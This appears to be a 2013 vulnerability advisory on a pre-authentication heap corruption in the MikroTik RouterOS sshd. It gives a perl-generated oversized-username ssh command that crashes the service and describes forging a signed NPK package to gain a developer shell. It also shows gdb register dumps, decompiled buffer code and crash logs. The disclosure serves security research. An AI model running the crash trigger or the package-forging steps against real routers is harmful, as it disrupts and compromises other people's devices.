Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption

2013.09.02
Credit: Kingcope
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption Posted on September 2, 2013 During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component. Exploitation of this vulnerability will allow full access to the router device. This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS using the /etc/devel-login file. This is done by forging a modified NPK file using a correct signature and logging into the device with username &#8216;devel&#8217; and the password of the administrator. This will drop into a busybox shell for further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox platform. Shodanhq.com shows >290.000 entries for the ROSSSH search term. The 50 megs Mikrotik package including the all research items can be downloaded here (this link is subject to change): http://www.farlight.org/mikropackage.zip Enjoy! Kingcope VMWare image for x86 (other available architectures are not included but affected mips,ppc and so on) is available in the downloadable package Overview of versions and architectures http://www.mikrotik.com/download Version 6.2 is affected, as a testbed VM I use version 5.25 Version 4 (?) is using openssh as a daemon. The crash in sshd might still occur in these versions tough untested (service respawns) 5 (?) and up (including 5.25 and 6.2) use ROSSSH secure shell service There is an option in the ssh service to login as user &#8216;devel&#8217; and the same password as &#8216;admin&#8217;. To be able to do this it is required that the file &#8216;/etc/devel-login&#8217; exists. This file is created at installation phase of the Mikrotik iso. The Mikrotik 5.25 iso was modified to write this file into /etc/ folder during iso installation inside VMWare. This is accomplished by modifying an NPK package, the installation package format of Mikrotik. Development tools, all to be used inside a second Linux dumpnpk.py dumps NPK package structure and contents createnpk.py * not used because it doesn&#8217;t handle signature supout.pl takes a &#8216;autosupout.rif&#8217; file (it is a crashdump and logfile of the Mikrotik system when a crash occurs during operation) and converts it into a human readable form. The tool &#8216;Winbox&#8217; developed by Mikrotik is used to fetch this .rif file from the device from the &#8216;Files&#8217; section. &#8217;sshd&#8217; binary file and libraries &#8216;libssh.so&#8217;,'libumsg.so&#8217; extracted from the device Interactive Disassembler for disassembling the x86 binaries of sshd The device runs on busybox. The second Linux can be used to compile a gdb that uses busybox in order to run it inside the Mikrotik VM, gdb is installed inside the Mikrotik VM. In the current state gdb does not resolve symbols, it is assumed that gdb has to be compiled on the target vm in order to resolve symbols. Error output from gdb: &#8216;Reading symbols from /nova/bin/sshd&#8230;I&#8217;m sorry, Dave, I can&#8217;t do that. Symbol format `elf32-i386&#8242; unknown.&#8217; Still gdb can be used in the normal way only that function names from IDA will not be displayed. strace is installed the same way gdb is. The strace tool is included in the VM. sshd heap corruption There are 2 Crashpaths one triggering an assert that might be circumvented crash occurs in &#8216;libumsg.so&#8217; it is triggered using the following command: ssh -l`perl -e &#8216;print &#8220;A&#8221; x 100000&#8242;` <ip of mikrotik router> it is unclear why the assert crashes the sshd service process, normally it should write the &#8216;too long message sent&#8217; to the log- file and bail out without reaching the assert. Assumed is because control structures where overwritten and the assert catches this corruption. The process dies with Signal 6, abort trap. It does not respawn. one triggering Sigsegv, signal 11 with controllable values crash occurs inside libssh.so here is the gdb log when the crash occurs, the value of ECX is controlled other values of memory regions (?) or registers are controllable too when tweaking the trigger client. The instructions &#8220;rep movsb %ds:(%esi),%es:(%edi)&#8221; copy from ESI (here our AAAA&#8217;s buffer is located) to EDI, in this case EDI has a zero value, in other testcases the value of EDI is a memory pointer. GNU gdb 6.8 Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type &#8220;show copying&#8221; and &#8220;show warranty&#8221; for details. This GDB was configured as &#8220;i686-linux-uclibc&#8221;&#8230; attach: No such file or directory. Attaching to process 324 Reading symbols from /nova/bin/sshd&#8230;I&#8217;m sorry, Dave, I can&#8217;t do that. Symbol format `elf32-i386&#8242; unknown. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 077848596 in ?? () (gdb) bt #0 077848596 in ?? () (gdb) i f Stack level 0, frame at 0x7f8f78b4: eip = 077848596; saved eip 0x8050e38 Arglist at 0x7f8f78ac, args: Locals at 0x7f8f78ac, Previous frame&#8217;s sp is 0x7f8f78b4 Saved registers: eip at 0x7f8f78b0 (gdb) x/10i $eip 077848596: rep movsb %ds:(%esi),%es:(%edi) 077848598: mov -0x1c(%ebp),%ecx 0x7784859b: mov 08(%ebp),%eax 0x7784859e: add %ecx,0xc(%eax) 0x778485a1: add $010,%esp 0x778485a4: mov %edx,%eax 0x778485a6: lea -0xc(%ebp),%esp 0x778485a9: pop %ebx 0x778485aa: pop %esi 0x778485ab: pop %edi (gdb) i r eax 00 0 ecx 0xc0ffff 12648447 edx 0x8050e38 134549048 ebx 0x7785ea9c 2005265052 esp 0x7f8f78b0 0x7f8f78b0 ebp 0x7f8f78e8 0x7f8f78e8 esi 0x806ca22 134662690 edi 00 0 eip 077848596 077848596 eflags 0210216 [ PF AF IF RF ID ] cs 073 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 00 0 gs 00 0 (gdb) x/10x $esi 0x806ca22: 041414141 041414141 041414141 041414141 0x806ca32: 041414141 041414141 041414141 041414141 0x806ca42: 041414141 041414141 (gdb) here is the C source of code lines that make this crash occur, specifically &#8216;getStringAsBuffer&#8217; is the function that contains the code that includes the &#8216;rep movsb %ds:(%esi),%es:(%edi)&#8217; seen at the gdb log when the crash occurs. Extracted with Hex Rays Decompiler (IDA Plugin) //&#8212;&#8211; (00018518) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; void *__cdecl Buffer::getStringAsBuffer(int a1) { char v1; // al@1 void *v2; // edx@1 unsigned int v3; // eax@2 char v4; // al@2 void *v5; // ST18_4@3 unsigned int v7; // [sp+14h] [bp-1Ch]@2 v1 = Buffer::avail(a1, 4); v2 = 0; if ( v1 ) { v3 = Buffer::getInt32(a1); v7 = v3; v4 = Buffer::avail(a1, v3); v2 = 0; if ( v4 ) { v5 = malloc(0x14u); Buffer::Buffer(v5, v7); v2 = v5; memcpy(*((void **)v5 + 1), (const void *)(*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 4)), v7); *(_DWORD *)(a1 + 12) += v7; } } return v2; } //&#8212;&#8211; (00014FB4) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; int __cdecl Buffer::Buffer(int a1, int a2) { int result; // eax@1 result = a1; *(_BYTE *)(a1 + 16) = 0; *(_DWORD *)(a1 + 12) = 0; *(_DWORD *)a1 = 0; *(_DWORD *)(a1 + 4) = 0; *(_DWORD *)(a1 + 8) = 0; if ( a2 ) result = Buffer::expand(a1, a2); return result; } //&#8212;&#8211; (00014EAA) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; char __cdecl Buffer::expand(int a1, int a2) { int v2; // ecx@1 const void *v3; // eax@1 int v4; // esi@1 char result; // al@1 void *v6; // eax@5 int v7; // edx@5 int v8; // [sp+4h] [bp-24h]@1 unsigned int v9; // [sp+8h] [bp-20h]@4 const void *ptr; // [sp+Ch] [bp-1Ch]@1 v2 = *(_DWORD *)(a1 + 8); v3 = *(const void **)(a1 + 4); ptr = v3; v8 = v2 &#8211; (_DWORD)v3; v4 = *(_DWORD *)(a1 + 12) + a2; result = 1; if ( v4 > (unsigned int)v8 ) { if ( (unsigned int)v4 <= 040400 ) { v9 = *(_DWORD *)a1; if ( (unsigned int)v4 <= *(_DWORD *)a1 ) { *(_DWORD *)(a1 + 8) = v4 &#8211; v8 + v2; } else { v6 = malloc((v4 + 71) & 0xFFFFFFF8); v7 = a1; *(_DWORD *)(a1 + 4) = v6; *(_DWORD *)(a1 + 8) = (char *)v6 + v4; if ( ptr ) { memcpy(v6, ptr, v9); free((void *)ptr); v7 = a1; } *(_DWORD *)v7 = (v4 + 71) & 0xFFFFFFF8; result = 1; } } else { *(_BYTE *)(a1 + 16) = 1; result = 0; } } return result; } crash analysis /nova/bin/sshd &#8212; signal=6 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; eip=0x77533bd9 eflags=000200202 edi=0x7fed71f8 esi=0x7755a268 ebp=0x7fed6ec8 esp=0x7fed6ec0 eax=000000000 ebx=000000375 ecx=000000006 edx=0x77559ff4 backtrace: 0x77533bd9 0x7754ff5b 0x77551a9f 0x775367aa 0x776ceec8 0x776d76b3 0x776d1a2f 0x776d886d 0x7770aa32 0x7770e128 0x7770e321 0x777131af 0x7770e54b 0x77708f53 0x776fab3d 0x776c75fe 0x776c769c 0x776d26ad 0x0804aadd 0x77555bf6 0x0804a3c5 code: 87 d3 89 c6 3d 00 f0 ff ff 76 0c e8 97 e3 ff ff maps: 08048000-0804c000 r-xp 00000000 03:02 229622 /nova/bin/sshd 77523000-77525000 r-xp 00000000 03:02 148070 /lib/libdl-0.9.30.2.so 77527000-77528000 r-xp 00000000 03:02 147779 /lib/libutil-0.9.30.2.so 7752a000-77559000 r-xp 00000000 03:02 148087 /lib/libuClibc-0.9.30.2.so 7755d000-77562000 r-xp 00000000 03:02 106659 /lib/libgcc_s.so.1 77563000-77573000 r-xp 00000000 03:02 148084 /lib/libuc++.so 77574000-7757c000 r-xp 00000000 03:02 147776 /lib/libufiber.so 7757d000-77693000 r-xp 00000000 03:02 147777 /lib/libcrypto.so.1.0.0 776a4000-776ad000 r-xp 00000000 03:02 148066 /lib/libubox.so 776ae000-776e3000 r-xp 00000000 03:02 148083 /lib/libumsg.so 776e7000-77715000 r-xp 00000000 03:02 148155 /lib/libssh.so 7771a000-7771f000 r-xp 00000000 03:02 148082 /lib/ld-uClibc-0.9.30.2.so ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso] logtail 1024 begin: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ssh-connection none LOOPER: write message too long /nova/bin/sshd: looper.cpp: 1324: void nv::Looper::writeMessage(const nv::message&): Assertion `false&#8217; failed. logtail end /nova/bin/sshd &#8212; signal=11 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; eip=0x777cc596 eflags=000210202 edi=000000000 esi=0x0806c0da ebp=0x7fba7928 esp=0x7fba78f0 eax=000000000 ebx=0x777e2a9c ecx=0x00c0ffff edx=008052868 backtrace: 0x777cc596 0x777d4203 0x777daf7c 0x777db321 0x777e01af 0x777db54b 0x777d5f53 0x777c7b3d 0x777945fe 0x7779469c 0x7779f6ad 0x0804aadd code: f3 a4 8b 4d e4 8b 45 08 01 48 0c 83 c4 10 89 d0 maps: 08048000-0804c000 r-xp 00000000 03:02 16630 /nova/bin/sshd 775ec000-775ee000 r-xp 00000000 03:02 336486 /lib/libdl-0.9.30.2.so 775f0000-775f1000 r-xp 00000000 03:02 336195 /lib/libutil-0.9.30.2.so 775f3000-77622000 r-xp 00000000 03:02 336503 /lib/libuClibc-0.9.30.2.so 77626000-7762f000 r-xp 00000000 03:02 336496 /lib/libgcc_s.so.1 77630000-77640000 r-xp 00000000 03:02 336500 /lib/libuc++.so 77641000-77649000 r-xp 00000000 03:02 336192 /lib/libufiber.so 7764a000-77760000 r-xp 00000000 03:02 336193 /lib/libcrypto.so.1.0.0 77771000-7777a000 r-xp 00000000 03:02 336482 /lib/libubox.so 7777b000-777b0000 r-xp 00000000 03:02 336499 /lib/libumsg.so 777b4000-777e2000 r-xp 00000000 03:02 336571 /lib/libssh.so 777e7000-777ec000 r-xp 00000000 03:02 336498 /lib/ld-uClibc-0.9.30.2.so ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso] logtail 1024 begin: c-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64 @openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hma c-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 mac algo SC: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@open ssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm @openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md 5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com ,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1 -96,hmac-md5-96 comp algo CS: none,zlib@openssh.com,zlib comp algo SC: none,zlib@openssh.com,zlib packet follows: 0 agreed on: diffie-hellman-group-exchange-sha256 aes128-cbc aes128-cbc hmac-md5 h mac-md5 none none trying DSS file DSA key loaded trying PEM container.. DSA key loaded transport state: 1 &#8211;> 2 authorization service requested auth req: kcope ssh-connection none next auth methods: publickey,password logtail end logins for the Mikrotik VM the ip address of the device can be seen with the command ip address print because dhcp should already be activated. admin username: admin admin password: <blank> developer login using telnet and ssh, please login with telnet for using gdb devel username: devel devel password: <blank> files that are included in the downloadable package Mikrotik-5.25-dev.vmdk and .vmx &#8211; Virtual Machine of Mikrotik router. mikrotik-5.25-touchdevel.iso &#8211; the iso file for installation VMWare 8.0.3 is used to run it, all other softwares will run it too such as QEmu and Virtualbox trigger source code for crash number 2. modified file: sshconnect2.c of openssh6.2p2trigger.tar.gz ups-5.25-touchdevel.npk the NPK package that is used to create the &#8216;/etc/devel-login&#8217; file. It is already included in the mikrotik-5.25-touchdevel.iso it has been created by modifying the commands that are executed during installation using a hex editor and afterwards the SHA1 signature of the NPK file has been identified using the original installer binary by reversing. The signature has been set in the NPK file so the ISO installer accepts the NPK during installation even if it prints out a warning. gdb toolchain the gdb,strace,ps,netstat binaries that where copied to the target C source files of libssh.so and libumsg.so extracted with hex rays decompiler IDA plugin all binaries can be extracted from the target by copying them using developers login from their file path to &#8216;/rw/pckg&#8217; and fetching them using the Winbox tool to a Windows system. In the same way files can be copied inside Winbox &#8216;Files&#8217; section these files will be then located in &#8216;/rw/pckg&#8217;. Winbox Configuration tool for RouterOS can be found at http://download2.mikrotik.com/winbox.exe

References:

http://download2.mikrotik.com/winbox.exe


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top